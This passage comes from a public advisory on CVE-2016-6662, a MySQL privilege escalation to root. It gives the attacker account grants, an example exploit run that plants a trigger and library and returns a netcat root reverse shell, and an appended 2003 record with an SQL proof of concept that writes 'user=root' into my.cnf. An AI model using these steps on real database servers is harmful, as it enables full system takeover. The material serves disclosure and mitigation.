CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';  


2.  Simulate write access on any of available mysql configs.
It just needs to be a valid/parsable config with section e.g:

[isamchk]
key_buffer		= 16M

For example, /etc/mysql/my.cnf on Debian:

# chown mysql:mysql /etc/mysql/my.cnf

# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf

3. Run the exploit as the attacker and restart mysql when exploit
is done.


As attacker:
~~~~~~~

1. Enter your library path in mysql_hookandroot_lib.c src.

2. Run the 0ldSQL_MySQL_RCE_exploit.py script.


Example run:
~~~~~~~

attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.1.10 and target mysql account 'attacker@192.168.1.10' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected

[mysql]
#no-auto-rehash	# faster start of mysql but no tab completition

[isamchk]
key_buffer		= 16M

!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160912  8:48:41	   44 Query	select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
		   44 Query	SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell

root@debian:/# id
id
uid=0(root) gid=0(root) groups=0(root)

root@debian:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql


root@debian:/# exit      
exit
exit

[+] Shell closed. Hope you had fun. 

[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)

[+] Exiting (code: 0)




VII. BUSINESS IMPACT
-------------------------

As discussed above the vulnerability could be exploited by attackers with both 
privileged and unprivileged (with FILE privilege only) access to mysql accounts. 
It could also be combined with CVE-2016-6663 vulnerability which will be released
shortly and could allow certain attackers to escalate their privileges to root 
even without FILE privilege.

The vulnerability could also be exploited via an SQL injection vector, which 
removes the need for the attackers to have direct mysql connection and increases
the risk of exploitation.

Successful exploitation could gain a attacker a remote shell with root privileges
which would allow them to fully compromise the remote system.

If exploited, the malicious code would run as soon as MySQL daemon gets
restarted. MySQL service restart could happen for a number of reasons.

 
VIII. SYSTEMS AFFECTED
-------------------------

All MySQL versions from the oldest versions to the latest shown at the beginnig
of this advisory.

Some systems run MySQL via Systemd and provide direct startup path to mysqld 
daemon instead of using mysqld_safe wrapper script. These systems however are
also at risk as mysqld_safe may be called on update by the installation scripts
or some other system services.

Because the exploit only accesses files normally used by MySQL server (
such as the config), and the injected library is preloaded by mysqld_safe startup 
scripta not included within the default policies, the vulnerability can be 
exploited even if security modules as SELinux and AppArmor are installed with 
active security policies for the MySQL daemon.

 
IX. VENDOR RESPONSE / SOLUTION
-------------------------

The vulnerability was reported to Oracle on 29th of July 2016 and triaged
by the security team.
It was also reported to the other affected vendors including PerconaDB and MariaDB.

The vulnerabilities were patched by PerconaDB and MariaDB vendors by the end of
30th of August.
During the course of the patching by these vendors the patches went into
public repositories and the fixed security issues were also mentioned in the
new releases which could be noticed by malicious attackers.

As over 40 days have passed since reporting the issues and patches were already
mentioned publicly, a decision was made to start disclosing vulnerabilities
(with limited PoC) to inform users about the risks before the vendor's next 
CPU update that only happens at the end of October.

No official patches or mitigations are available at this time from the vendor. 
As temporary mitigations, users should ensure that no mysql config files are
owned by mysql user, and create root-owned dummy my.cnf files that are not in 
use.
These are by no means a complete solution and users should apply official vendor
patches as soon as they become available.

 
X. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

Source codes from the advisory:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6662

The old vulnerability fixed in MySQL version 3.23.55:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150


XI. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XII. REVISION HISTORY
-------------------------

12.09.2016 - Advisory released publicly as 0day
 
XIII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

    

- 漏洞信息

9909
MySQL datadir/my.cnf Modification Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Vendor Verified

- 漏洞描述

- 时间线

2003-03-08 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 3.23.56 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

MySQL mysqld Privilege Escalation Vulnerability
Configuration Error 7052
Yes No
2003-03-08 12:00:00 2009-07-12 05:56:00
Discovery of this vulnerability credited to bugsman@libero.it.

- 受影响的程序版本

RedHat Enterprise Linux WS 2.1 IA64
RedHat Enterprise Linux WS 2.1
RedHat Enterprise Linux ES 2.1 IA64
RedHat Enterprise Linux ES 2.1
RedHat Advanced Workstation for the Itanium Processor 2.1
Red Hat Enterprise Linux AS 2.1 IA64
Red Hat Enterprise Linux AS 2.1
MySQL AB MySQL 3.23.55
+ OpenPKG OpenPKG Current
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.54 a
+ OpenPKG OpenPKG 1.2
+ OpenPKG OpenPKG Current
+ RedHat Linux 9.0 i386
MySQL AB MySQL 3.23.54
+ Sun Cobalt RaQ 550
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.53 a
MySQL AB MySQL 3.23.53
+ OpenPKG OpenPKG Current
+ Sun Cobalt Qube 3
MySQL AB MySQL 3.23.52
+ Conectiva Linux Enterprise Edition 1.0
+ Mandriva Linux Mandrake 9.0
+ OpenPKG OpenPKG 1.1
+ RedHat Linux 8.0 i386
+ RedHat Linux 8.0
+ S.u.S.E. Linux 8.1
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.51
MySQL AB MySQL 3.23.50
MySQL AB MySQL 3.23.49
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ RedHat Linux 7.3 i686
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.3
MySQL AB MySQL 3.23.48
+ S.u.S.E. Linux 8.0 i386
+ S.u.S.E. Linux 8.0
MySQL AB MySQL 3.23.47
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
MySQL AB MySQL 3.23.46
+ Conectiva Linux 8.0
+ OpenPKG OpenPKG 1.0
MySQL AB MySQL 3.23.45
MySQL AB MySQL 3.23.44
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.3
MySQL AB MySQL 3.23.43
MySQL AB MySQL 3.23.42
MySQL AB MySQL 3.23.41
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 alpha
+ RedHat Linux 7.2
MySQL AB MySQL 3.23.40
MySQL AB MySQL 3.23.39
+ HP SCM 3.0
MySQL AB MySQL 3.23.38
MySQL AB MySQL 3.23.37
+ S.u.S.E. Linux 7.2 i386
+ S.u.S.E. Linux 7.2
MySQL AB MySQL 3.23.36
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ EnGarde Secure Linux 1.0.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i686
+ RedHat Linux 7.1 i586
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1
Conectiva Linux 9.0
Conectiva Linux 8.0
Conectiva Linux 7.0
MySQL AB MySQL 3.23.56

- 不受影响的程序版本

MySQL AB MySQL 3.23.56

- 漏洞讨论

A vulnerability has been discovered for MySQL that may allow the mysqld service to start with elevated privileges.

An attacker can exploit this vulnerability by creating a DATADIR/my.cnf that includes the line 'user=root' under the '[mysqld]' option section.

When the mysqld service is executed, it will run as the root user instead of the default user.

This may allow an attacker to obtain elevated privileges on a compromised system.

- 漏洞利用

The following proof of concept was provided:

mysql&gt;CREATE DATABASE roottext;
mysql&gt;USE roottext;
mysql&gt;CREATE TABLE hack (conf VARCHAR(80));
mysql&gt;INSERT IN hack VALUES ('[mysqld]');
mysql&gt;INSERT IN hack VALUES ('user=root');
mysql&gt;SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql&gt;QUIT

- 解决方案

The vendor has resolved this issue in the 3.23.56 release.

Conectiva has released an advisory (CLA-2003:743), to address this issue. Users are advised to download and apply a relevant fixes as soon as possible. Further information relating to obtaining and applying appropriate fixes is available in the referenced advisory. Fixes are linked below.

Trustix has released an advisory (TSLSA-2003-0009) which includes fixes for this issue.

OpenPKG has released advisory OpenPKG-SA-2003.022 to address this issue. mysql-3.23.56-20030318 was released for OpenPKG CURRENT. mysql-3.23.54a-1.2.2 was released for OpenPKG 1.2. mysql-3.23.52-1.1.3 was released for OpenPKG 1.1. Upgrade instructions are provided in the attached advisory.

Gentoo has upgraded dev-db/mysql to mysql-3.23.56. The upgrade may be applied with the following commands:

emerge sync
emerge mysql
emerge clean

Debian has released fixes for this issue. Links to upgraded packages are available in the attached advisory (DSA 303-1).

Red Hat has released an advisory (RHSA-2003:094) containing fixes to address this issue in Enterprise Linux and Linux Advanced Workstation. Fixes for these releases are only available through the Red Hat Network, and can be obtained using the following link:

http://rhn.redhat.com/

Fixes are available:


MySQL AB MySQL 3.23.36

MySQL AB MySQL 3.23.37

MySQL AB MySQL 3.23.38

MySQL AB MySQL 3.23.39

MySQL AB MySQL 3.23.40

MySQL AB MySQL 3.23.41

MySQL AB MySQL 3.23.42

MySQL AB MySQL 3.23.43

MySQL AB MySQL 3.23.44

MySQL AB MySQL 3.23.45

MySQL AB MySQL 3.23.46

MySQL AB MySQL 3.23.47

MySQL AB MySQL 3.23.48

MySQL AB MySQL 3.23.49

MySQL AB MySQL 3.23.50

MySQL AB MySQL 3.23.51

MySQL AB MySQL 3.23.52

MySQL AB MySQL 3.23.53

MySQL AB MySQL 3.23.53 a

MySQL AB MySQL 3.23.54

MySQL AB MySQL 3.23.54 a

MySQL AB MySQL 3.23.55

Conectiva Linux 7.0

Conectiva Linux 8.0

Conectiva Linux 9.0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站